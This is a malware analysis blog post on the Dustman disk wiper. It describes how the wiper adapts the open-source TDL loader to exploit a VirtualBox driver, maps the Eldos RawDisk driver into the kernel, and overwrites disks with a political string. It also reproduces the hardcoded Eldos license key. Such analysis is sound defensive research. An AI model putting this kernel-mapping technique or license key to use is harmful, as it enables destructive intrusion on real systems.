At main (which is a heavily modified TDLMain from original TDL) right at the beginning Dustman attempts to block multiple copies from installing VirtualBox/mapping Eldos driver by setting mutex with a very specific name "Down With Bin Salman". I do not want to dig into politics and other bullshit but I would like to suggest in case if this is false flag operation (surprise, but we will never know this) use something more creative - like for example "Coded by Soleimani" or "(c) 2019 IRGC", "covfefe" is fine too. If I would doing APT of such kind I would at first refrain from creating such wrong and stupid mutexes or build their unique names based on current environment without using any idiotic constants. Another fun message hidden inside agent executable (dropper resource 106 as mentioned above) "Down With Saudi Kingdom Down With Bin Salman" - very creative (not). Eldos license key is hardcoded in agent executable as "b4b615c28ccd059cf8ed1abf1c71fe03c0354522990af63adf3c911e2287a4b906d47d".

Back to initial dropper, supQueryResourceData (https://github.com/hfiref0x/TDL/blob/master/Source/Furutaka/sup.c#L99) is modified by adding xor decryption loop mentioned above. Below is screenshot of TDLStartVulnerableDriver routine slightly modified by removing console output, code responsible for backup and new file name for dropped file.

Pic 2. TDLStartVulnerableDriver copy-paste.

Original routine https://github.com/hfiref0x/TDL/blob/master/Source/Furutaka/main.c#L498

Assistant.sys here is VirtualBox driver which is loaded as shown on picture above. Have no idea why Dustman authors left VirtualBox USB/Network drivers unload code intact. In original TDL this is required to load driver on machine with VirtualBox installed and this is requirement because VBoxHardenedLoader is depends on this. However this is not required in APT and can be removed, but it seems Dustman author(s) had mediocre understanding of what they are doing. It is a little doubtful that target machines has VirtualBox running which can produce incompatibilities with TDL.

Our next stop is TDLMapDriver routine. In original TDL proof-of-concept it setups shellcode that next will be executed in kernel by VBoxDrv, maps input file, processes it imports and merges it with shellcode. Next VBoxDrv memory mapping executed and finally exploit called. In shellcode original TDL allocates memory for driver mapping using ExAllocatePoolWithTag routine with tag 'SldT' (Tdl Shellcode), processes image relocs, creates system thread (PsCreateSystemThread) with parameter set to driver entry. TDL mapped drivers must be specially designed as DriverEntry parameters in such way of loading will be invalid. Finally thread handle closed with ZwClose. Function pointers passed to shellcode through registers by small bootstrap code which is constructed in user mode. Dustman author(s) modified this loading scheme in the following way: 

1) Encryption for module/function names, funny note that the following string used to decrypt strings in runtime "I'm 22 and looking for fulltime job!". Because this is copy-paste from open source and original TDL is very well detected by various fakeAVs (https://www.virustotal.com/gui/file/37805cc7ae226647753aca1a32d7106d804556a98e1a21ac324e5b880b9a04da/detection) this maybe an attempt to remove some of these detections.
2) They remember ExAllocatePoolWithTag, PsCreateSystemThread and IoCreateDriver however they never use PsCreateSystemThread despite checking it resolving success and instead in their shellcode simple call IoCreateDriver with pointer to driver entry point as InitializationFunction param.

Since IoCreateDriver expects DriverName as pointer to UNICODE_STRING modified shellcode also contain "\Driver\elRawDsk" string stored as local array of bytes. IoCreateDriver will create driver object with specified name and pass it to the InitializationRoutine as parameter, exactly what Eldos RawDisk need at it driver entry. Thus original TDL limitation bypassed and mapping code can work with usual drivers. As result of successful exploitation Eldos RawDisk will be mapped to the kernel and it DriverEntry executed.

 

Pic 3. Eldos driver object as seen by WinObjEx64.

Because driver was mapped without involving Windows loader it doesn't have corresponding entry in PsLoadedModulesList therefore WinObjEx64 shows it driver object major functions as belonging to unknown memory area which is always automatically suspicious and usually mean kernel mode malware activity. While Eldos RawDisk DriverEntry execution it creates a symbolic link to provide access for the applications. It also can be seen with WinObjEx64.

Pic 4. ElRawDisk symbolic link.

Here is a mystery or at least question. Why do they use TDL at all? If you look at Eldos RawDisk previous versions, for example https://www.virustotal.com/gui/file/c5c821f5808544a1807dc36527ef6f0248d6768ef9ac5ebabae302d17dd960e4/details you will notice it is digitally signed. As I said at the beginning of this post there can be IPS/AV blocking Eldos driver by it certificate. However why use Eldos RawDisk if you can write your own driver which will be much simpler/smaller (because it will miss useless license check) and use it with TDL? It seems author(s) of Dustman prefer simplest ways and incapable of writing anything beyond simple copy-pasting with small additions. State sponsored hackers, rofl? It of course depends on effectiveness of such methods but I think someone need a bigger budget. However if you take this entire Dustman as false flag operation it looks pretty much ok, because Dustman thing can be built in 4-5 hours and cost almost nothing, while doing severe impact as informational warfare.

A little about agent application, a little because as fact there is nothing interesting inside. It is built as typical C++ MS runtime based application full of ineffective code unrelated to main purpose - wipe data on disk. To do this agent calls Eldos RawDisk with mentioned above license. As data to fill it uses "Down With Saudi Kingdom Down With Bin Salman" string. If agent launched without elevation it will crash with error due to its code quality, state sponsored hackers do you remember?

Pic 5. Wipe in progress.